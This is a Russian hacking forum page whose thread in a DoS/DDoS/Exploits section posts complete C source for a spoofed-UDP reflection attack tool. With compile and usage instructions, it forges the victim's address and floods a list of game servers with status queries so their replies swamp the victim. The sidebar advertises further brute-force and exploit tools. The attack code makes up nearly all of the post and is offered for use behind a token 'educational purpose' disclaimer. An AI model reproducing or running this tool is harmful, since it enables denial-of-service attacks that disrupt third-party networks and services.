Главная Форум Файлы Статьи СОСТАВ ZH&ZHS О НАС GITHUB КАНАЛ YouTube BlackList WhiteList
Добро пожаловать на уникальный игровой портал ZETA-HACK TEAM! Здесь Вы сможете найти самые интересные новости из мира игровой индустрии, найти самые свежие сотфины для различных онлайн игр, общаясь на форуме получать мнения специалистов и помогать тем кто не смог получить нужный ответ в той или иной сфере!
Авторизация Регистрация
Последние обсуждаемые темы на форуме
Последние комментарии к новостям
Топ-10 форумчан
Заявочка G1TLER 1
Делаем лаунчер SA-MP или инжек... [FBI]@PUNISHER@ 0
[PYTHON] Ftp Brute Force =AlexDrift= 0
[PHP] Skype BruteForce =AlexDrift= 0
[PHP] Facebook Email Checker =AlexDrift= 0
[PYTHON] Gmail Bruteforce XMPP =AlexDrift= 0
vBulletin 5.1.x - PreAuth 0day... =AlexDrift= 0
[PHP] Mysql File Bypass =AlexDrift= 0
[PHP] Configs Grabber =AlexDrift= 0
telnetbruter.py =AlexDrift= 0
x-gaming dm 0.3e 23.05.2019
x-gaming dm 0.3e 12.05.2019
x-gaming dm 0.3e 12.05.2019
Microsoft назвала дату смерти Windows 7 25.04.2019
[0.3е]Русский ДМ сервер 18.04.2019
[0.3.7]Forward-Evolution DM by [KrYpToDe... 18.04.2019
[DM] UNIVERSAL SERVER 18.04.2019
[GTA SAMP] Закрытие игры при вылете 27.02.2019
Microsoft назвала дату смерти Windows 7 26.02.2019
•Pro•Dm•Server• 15.01.2019
1. =AlexDrift= 581
2. Pahanch1kkk 46
3. InFerNo 35
4. AdCKuY_DpO4uLa 35
5. R4DUGA 32
6. d1amondl1on 31
7. [NACIONAL]IST_BERZ 23
8. Julia 21
9. Lil_Jonson 17
10. Effect 15
Витрина ссылок Купить ссылку (4 р.) » | Ваша ссылка | Ваша ссылка | Ваша ссылка | Ваша ссылка | Ваша ссылка | Ваша ссылка | Ваша ссылка

  • Страница 1 из 1
  • 1
Форум » Hacking и все что с ним связано » DoS/DDoS/Exploits » SUDP 50x
SUDP 50x
25.09.2018 в 18:46
#1
=AlexDrift=
Не важны козыри если игра не на счет...
Статус: Offline
Регистрация: 24.11.2012
Сообщения: 581
Репутация: 84
Что бы добавить медаль "Легенда портала" добавляем в ?if "or 1='ID пользователя'"
Что бы добавить медаль "Золотой страж" добавляем в ?if "or 1='ID пользователя'"
Код
/*
Spoofed UDP by eKKiM
Educational purpose only please.
--Note by MFJC--
Compile:
apt-get update
apt-get install gcc
gcc udp.c -pthread
Usage: ./a.out ip port time ipfile.txt message
*/
#include <stdio.h>
#include <stdlib.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
#include <pthread.h>

void D(char *message)
{
printf(message);
fflush(stdout);
}

typedef struct file_list
{
unsigned long ip;
int port;
};

typedef struct pthread_param
{
unsigned long victim_ip;
int victim_port;
struct file_list *list;
int list_size;
char *message;
};

typedef struct pseudo_header
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
};

void attack(unsigned long srcip, int srcport, unsigned long destip, int destport, char *message)
{
int s = socket (PF_INET, SOCK_RAW, IPPROTO_UDP);
char packet[4096];
struct iphdr *iph = (struct iphdr *) packet;
// struct tcphdr *tcph = (struct tcphdr *) (packet + sizeof (struct ip));
struct udphdr *udph = (struct udphdr *) (packet + sizeof(struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;

sin.sin_family = AF_INET;
sin.sin_port = htons(destport);
sin.sin_addr.s_addr = destip;

memset (packet, 0, 4096);

iph->ihl = 5;
iph->version = 4;
iph->tos = 16;
iph->tot_len = sizeof (struct ip) + sizeof (struct udphdr) + strlen(message);
iph->id = htonl (54321);
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_UDP;
iph->check = 0;
iph->saddr = srcip;
iph->daddr = sin.sin_addr.s_addr;

udph->source = htons(srcport);
// Destination port number
udph->dest = htons(destport);
udph->len = htons(sizeof(struct udphdr));
udph->check = 0; //Kernel fill this in?

strncpy((char *)udph + sizeof (struct udphdr),message, 4096 - (sizeof (struct udphdr) + sizeof (struct ip)));

//IP_HDRINCL needed for own headers
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
{
printf (" [x]Cannot set socket options (are we r00t?)\n");
return;
}

if (sendto (s, packet, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
printf (" [x]Error sending packet\n");

close(s);
return;
}

void *thread_attack(void *thread_params)
{
struct pthread_param *params = thread_params;
int i;

while (1)
for (i = 0; i < params->list_size; i++)
attack(params->victim_ip, rand() % 65534 + 1, params->list[i].ip, params->list.port, params->message);
// Hmm should we use random port or params->victim_port?
}

char *getLine(FILE *f)
{
char *buffer = malloc(sizeof(char));
int pos = 0;
char c;

do { // read one line
c = fgetc(f);
if(c != EOF) buffer[pos++] = (char)c;
buffer = (char*)realloc(buffer, sizeof(char) * (pos + 2));
} while (c != EOF && c != '\n');

return buffer;
}

int main (int argc, char *argv[])
{
struct file_list *list = NULL;
int list_size = 0;

struct pthread_param param;
pthread_t udp_attack;

printf("Spoofed UDP Attack\n");
printf("          by eKKiM\n");
printf("          for Orgy\n\n");

if (argc != 6)
{
printf("Usage: %s <destip> <destport> <ip_file_list> <time in seconds> <message>\n", argv[0]);
return -1;
}

srand(time(0));

FILE *pFile = fopen(argv[3], "r");
if (pFile == NULL)
{
printf(" [X][/i]Cannot open file\n");
return -1;
}

while (!feof(pFile))
{
char *line;
line = getLine(pFile);
char ip[1024];
int port;

if (sscanf(line, "%99[^:]:%99d", ip, &port) == 2)
{
list_size++;
list = (struct file_list *) realloc(list, sizeof(struct file_list) * list_size);
list[list_size - 1].ip = inet_addr(ip);
list[list_size - 1].port = port;
}
free(line);
}

fclose(pFile);

param.victim_ip = inet_addr(argv[1]);
param.victim_port = atoi(argv[2]);

param.list = list;
param.list_size = list_size;

param.message = "\xFF\xFF\xFF\xFF\x67\x65\x74\x73\x74\x61\x74\x75\x73\x10";

pthread_create( &udp_attack, NULL, thread_attack, (void*) ¶m);

printf("
[*] Attacking..\n");
sleep(atoi(argv[4]));
printf("[!] Done\n");
return 0;
}

В ЛС не отвечу даже не старайтесь. Все вопросы на форум, создавайте тему там ответим.

Форум » Hacking и все что с ним связано » DoS/DDoS/Exploits » SUDP 50x
  • Страница 1 из 1
  • 1
Поиск:

условия предоставления
Авторские права и контакты
счетчики
счетчики
счетчики
Файлы, статьи, публикации на форуме предоставлены исключительно в ознакомительных целях. Все материалы принадлежат исключительно их владельцам! Администрация портала не несет ответственности за последствия использования вами сторонних материалов, опубликованных на форуме, каталоге файлов, каталоге статей, но гарантирует отсутствие вредоносного кода в новостях и публикациях на главной. Напоминаем:Весь материал публикуется только для ознакомительных целей! Администрация не несёт ответственности за размещённые материалы. Все материалы предоставлены в ознакомительных целях и администрация предлагает удалить их после ознакомления.
  • Основатель портала - AlexDrift
  • Автор дизайна, разработчик - Lil Jonson
  • По возникшим вопросам дизайна - liljonson682@gmail.com
  • По всем возникшим вопросам - vk.com/alexdrift1137
  • Уникальный игровой портал ZETA-HACK.RU ® 2011 - 2019
  • Сайт создан в системе uCoz

  • Яндекс.Метрика
    Рейтинг@Mail.ru